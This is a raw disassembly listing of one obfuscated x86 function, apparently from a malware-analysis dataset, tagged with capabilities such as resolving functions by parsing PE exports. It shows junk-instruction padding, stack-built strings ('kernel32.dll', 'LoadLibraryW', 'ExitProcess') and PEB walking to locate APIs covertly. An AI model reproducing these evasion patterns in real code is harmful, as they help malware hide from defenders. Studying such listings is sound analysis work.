Function at 0x508221
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push esi
push eax
add esp, 4
add esi, 0x26a4
sub esi, 0xa659
sub esi, 0x5452
add esi, 0x16b23
pop esi
push edx
or edx, 0x161a5
and edx, 0x1551
or edx, 0x4151
pop edx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x507745
push edx
xor edx, 0x916c
add edx, 0xaa2f
add edx, 0x3a8d
pop edx
push esi
push eax
add esp, 4
add esi, 0xc558
xor esi, 0x56bf
add esi, 0x552e
and esi, 0x9b2b
pop esi
jmp 0x507973
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push edi
push edi
add esp, 4
or edi, 0x9b57
pop edi
push edx
push ebx
add esp, 4
or edx, 0xe97
jmp 0x507777
call 0x507783
add byte [ebx], bh
xor al, byte [ecx + 0x32]
inc edi
add esp, 4
sub edx, 0xe2e6
pop edx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x5077f4
push ebx
push edx
add esp, 4
jmp 0x5077bb
or ebx, 0xdfbc
and ebx, 0x98b5
pop ebx
push ecx
push ebx
add esp, 4
jmp 0x5077d6
or ecx, 0xd797
xor ecx, 0x1214a
pop ecx
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x507925
cmp dword [ebp - 0xc08], 0
jle 0x507919
push edx
push esi
add esp, 4
add edx, 0x926c
insb byte es:[edi], dx
xchg edx, eax
add byte [eax], al
insb byte es:[edi], dx
xchg edx, eax
add byte [eax], al
sub edx, 0x81a
or edx, 0x101b1
sub edx, 0x13b35
pop edx
push edi
push ecx
add esp, 4
sub edi, 0x143e8
pop edi
push edi
add edi, 0x73de
pop edi
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x5078b5
push ecx
push ebx
add esp, 4
or ecx, 0x9ac
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0x14d2e
or ecx, 0x335e
pop ecx
push ebx
xor ebx, 0x55f4
sub ebx, 0xa444
and ebx, 0x7d7a
pop ebx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x50789d
mov dword [ebp - 0x14c0], 1
jmp 0x5078a7
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x507919
push ecx
and ecx, 0xc16b
call 0x5078c9
add byte [edx + 0x46], cl
inc edi
dec ebp
dec ebx
inc edi
xor eax, dword [ebx + 0x575904c4]
add edi, 0x17cbf
sub edi, 0x3bc
and edi, 0x2177
jmp 0x5078e6
pop edi
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x5077f4
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x50796e
push ecx
call 0x50793f
add byte [esi + eax*2 + 0x49], al
xor eax, 0x474e444b
xor edi, dword [esi]
add esp, 4
pop ecx
push ecx
and ecx, 0xad9f
add ecx, 0x15f3c
call 0x50795c
add byte [esi + 0x43], cl
aaa
dec ecx
dec eax
dec ecx
add esp, 4
pop ecx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x5079af
jmp 0x5076bc
push esi
push edx
add esp, 4
sub esi, 0x2307
or esi, 0x67aa
add esi, 0xa982
and esi, 0x5d1
pop esi
push ebx
or ebx, 0x640d
add ebx, 0x14f15
or ebx, 0x1168e
pop ebx
mov dword [ebp - 0x3cc], 0
push edx
push esi
add esp, 4
xor edx, 0x17da8
pop edx
push esi
push ebx
add esp, 4
jmp 0x5079c7
pop esi
push ebx
and ebx, 0x15855
pop ebx
push ebx
call 0x5079dd
add byte [edx], dh
inc esp
cmp eax, 0x83383a47
les eax, [ebx + ebx*2]
push eax
and eax, 0x165b9
jmp 0x5079f1
call 0x507a00
add byte [esi + 0x3d], cl
cmp byte [esi + eax*2 + 0x4d], cl
dec ecx
aaa
xor eax, 0x5804c483
push esi
jmp 0x507a0a
pop esi
push ecx
sub ecx, 0x10504
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push esi
jmp 0x507a32
or esi, 0x16f1c
call 0x507a44
add byte [edi + 0x48], al
push eax
aaa
cmp byte [ecx], bh
add esp, 4
or esi, 0x85be
pop esi
push ebx
push eax
add esp, 4
xor ebx, 0x14e32
pop ebx
mov dword [ebp - 0x1fac], 0xffffffff
push esi
or esi, 0x8098
sub esi, 0x11bb9
or esi, 0x153e4
or esi, 0x14093
pop esi
push esi
push edx
add esp, 4
jmp 0x507a89
xor esi, 0x3e42
and esi, 0x11804
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x507ab3
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push esi
or esi, 0x16e5e
xor esi, 0x7f2
sub esi, 0x49cd
pop esi
push esi
push ecx
add esp, 4
and esi, 0xe14f
xor esi, 0xb61b
sub esi, 0x83e7
sub esi, 0xd6c3
pop esi
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x507b2d
push edx
xor edx, 0x179a8
xor edx, 0xf0a5
pop edx
push edx
push ecx
add esp, 4
add edx, 0x2de4
pop edx
push eax
push edi
add esp, 4
jmp 0x507b1b
sub eax, 0x678a
sub eax, 0x17c85
pop eax
jmp 0x507d5b
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ecx
push ebx
add esp, 4
call 0x507b56
add byte [edx + 0x3e], al
push eax
cmp dword [edi + esi + 0x40], ecx
inc ecx
add esp, 4
add ecx, 0xd9a2
and ecx, 0x1f20
call 0x507b71
add byte [edx], dh
inc esp
push eax
cmp dword [ebx], edi
cmp al, 0x83
les eax, [ecx + ebx*2]
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x507bdc
push ecx
push edx
add esp, 4
call 0x507baa
add byte [edx + 0x4d], al
dec ebx
dec ebx
inc esp
cmp eax, 0xe804c483
pop es
add byte [eax], al
add byte [eax], al
dec ebp
dec ebp
inc ebx
inc edi
inc edx
xor eax, 0x8104c483
leave
adc dword [eax + eax], esi
add byte [ecx + 0x52], bl
add edx, 0x6337
pop edx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x507d0d
cmp dword [ebp - 0xc10], 0
jle 0x507d01
push ecx
jmp 0x507bf2
jmp 0x507bf7
pop ecx
push edx
push ecx
add esp, 4
add edx, 0x98ba
sub edx, 0xaf57
call 0x507c17
add byte [edx + 0x3a], cl
cmp dword [ebp + 0x3d], ecx
dec edi
xor al, 0x3f
add esp, 4
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x507c9d
push eax
add eax, 0xb6c2
call 0x507c45
add byte [ebp + ecx*2 + 0x4e], cl
xor eax, 0x834a363a
les eax, [ecx + eax*4]
call fcn.0050851c
sub eax, 0x777f
pop eax
push esi
add esi, 0xe8fc
sub esi, 0xeddd
pop esi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x507c85
mov dword [ebp - 0x14cc], 1
jmp 0x507c8f
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x507d01
push ecx
xor ecx, 0x163d8
add dword [eax], eax
pop ecx
push edx
add edx, 0xe5b8
pop edx
push ebx
push eax
add esp, 4
and ebx, 0x2fda
call 0x507cc5
add byte [ebx + 0x3e], cl
aaa
cmp eax, 0x8341334f
les eax, [ecx + eax*4]
jecxz 0x507ca2
stosd dword es:[edi], eax
add byte [eax], al
pop ebx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x507bdc
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x507d56
push ebx
jmp 0x507d20
sub ebx, 0x579d
sub ebx, 0x493a
xor ebx, 0x16645
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0x130d4
jmp 0x507d47
pop ebx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x507d97
jmp 0x507aa4
push edi
jmp 0x507d61
sub edi, 0x15ea7
pop edi
push ecx
push ecx
add esp, 4
and ecx, 0x10b96
jmp 0x507d78
pop ecx
push edx
xor edx, 0x60ae
pop edx
push esi
push ecx
add esp, 4
and esi, 0x17b54
pop esi
mov dword [ebp - 0xa5c], 0
push esi
push ecx
add esp, 4
and esi, 0x92e2
sub esi, 0x9371
call 0x507db7
add byte [ebx + 0x3a], al
cmp dword ss:[edx + 0x3d], eax
cmp edi, dword [eax]
dec edx
add esp, 4
pop esi
push esi
push ecx
add esp, 4
jmp 0x507dc8
pop esi
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edi
push ebx
add esp, 4
xor edi, 0x14bd9
jmp 0x507e2f
pop edi
push edx
call 0x507e3f
add byte [edx + ecx*2], dh
cmp byte [ecx], bh
aas
inc esi
add esp, 4
xor edx, 0x1124a
and edx, 0xa4a9
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ebx
sub ebx, 0xc7b1
pop ebx
push edi
push ebx
add esp, 4
call 0x507f02
add byte [ecx + 0x49], al
inc ebp
dec esp
xor ecx, dword [eax + 0x49]
add esp, 4
pop edi
push ebx
sub ebx, 0x161d2
sub ebx, 0x17cc1
or ebx, 0x16f65
pop ebx
push esi
push edi
add esp, 4
jmp 0x507f28
pop esi
push edx
sub edx, 0x13eea
call 0x507f40
add byte [ebp + 0x3d], cl
dec edx
inc eax
cmp byte [ecx + ecx*2], dh
dec edi
dec esi
add esp, 4
pop edx
push edi
sub edi, 0x7499
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edi
call 0x507f85
add byte [esi + 0x44], al
inc ecx
cmp cl, byte [edx + 0x47]
dec ebp
aaa
dec eax
add esp, 4
and edi, 0x8226
jmp 0x507f93
call 0x507fa2
add byte [esi + edi + 0x46], al
inc ecx
xor ecx, dword [edx + 0x3f]
inc ebx
inc ecx
add esp, 4
pop edi
cmp dword [ebp - 0x14d4], 0
jne 0x507fbe
mov dword [ebp - 0x2e0], 0
jmp 0x50827a
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
push ecx
add esp, 4
sub edx, 0x82c6
sub edx, 0x383b
pop edx
push eax
and eax, 0x4193
xor eax, 0x1190b
xor eax, 0x6be4
pop eax
push edx
push edi
add esp, 4
add edx, 0x52ab
pop edx
cmp dword [ebp - 0xc20], 0
jne 0x50801a
mov dword [ebp - 0x2e0], 0
jmp 0x50827a
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push eax
and eax, 0x17276
add eax, 0xe8e6
pop eax
push ecx
push ecx
add esp, 4
and ecx, 0x15e59
or ecx, 0xeb92
call 0x508054
add byte [0x354b4040], bh
inc eax
dec esi
xor ecx, dword [ebx + eax*4 - 0x3c]
add al, 0x59
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push eax
push edx
add esp, 4
and eax, 0xf532
xor eax, 0x17274
pop eax
push edi
add edi, 0x8b98
or edi, 0xb9e
call 0x5080b3
add byte [ebp + 0x4e], cl
dec edi
xor bh, byte [edx]
inc ebx
dec edi
dec esp
inc esi
add esp, 4
pop edi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push eax
push esi
add esp, 4
xor eax, 0x166b
jmp 0x508123
pop eax
push edx
jmp 0x50812a
pop edx
push ecx
push esi
add esp, 4
sub ecx, 0xbe0a
sub ecx, 0x17315
jmp 0x508142
pop ecx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x508166
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x5081c9
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x508085
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x508085
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x5081b3
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x5081bd
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x508212
push edi
push ebx
add esp, 4
xor edi, 0x5d2d
and edi, 0xf804
pop edi
push eax
push ebx
add esp, 4
add eax, 0x16560
pop eax
push ecx
add ecx, 0x7598
or ecx, 0x12575
add ecx, 0x11758
pop ecx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x50827a
push edi
call 0x508221
add byte [ebp + 0x34], cl
dec edi
dec edi
dec esp
xor al, 0x34
inc ebx
add esp, 4
jmp 0x50822b
add edi, 0x2cab
sub edi, 0x16752
pop edi
push edx
push ecx
add esp, 4
xor edx, 0x10de4
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x508270
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x508026
mov dword [ebp - 0x2e0], 0
push eax
sub eax, 0x5cd0
and eax, 0x10912
add eax, 0x1624d
and eax, 0xddac
pop eax
push eax
push edx
add esp, 4
jmp 0x50829f
xor eax, 0x10d26
add eax, 0x15a47
pop eax
cmp dword [ebp - 0x2e0], 0
jne 0x508bc5
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edx
jmp 0x50835c
add edx, 0xbedc
and edx, 0x494d
pop edx
push edx
or edx, 0x150e5
pop edx
push ecx
call 0x508380
add byte [edx], dh
dec esp
aas
dec ebp
aas
inc esp
dec ebx
add esp, 4
pop ecx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ebx
sub ebx, 0x17f89
pop ebx
push ecx
push eax
add esp, 4
sub ecx, 0xa7ed
pop ecx
push esi
push esi
add esp, 4
sub esi, 0xb34b
xor esi, 0x769f
and esi, 0xe786
xor esi, 0xec20
pop esi
cmp dword [ebp - 0x14dc], 0
jne 0x508450
mov dword [ebp - 0x6ec], 0
jmp 0x50870c
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
and ebx, 0x14859
pop ebx
push esi
jmp 0x508470
and esi, 0x15add
jmp 0x50847c
pop esi
push edi
sub edi, 0x250b
jmp 0x50848d
or edi, 0x6a7d
pop edi
cmp dword [ebp - 0xc2c], 0
jne 0x5084ac
mov dword [ebp - 0x6ec], 0
jmp 0x50870c
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx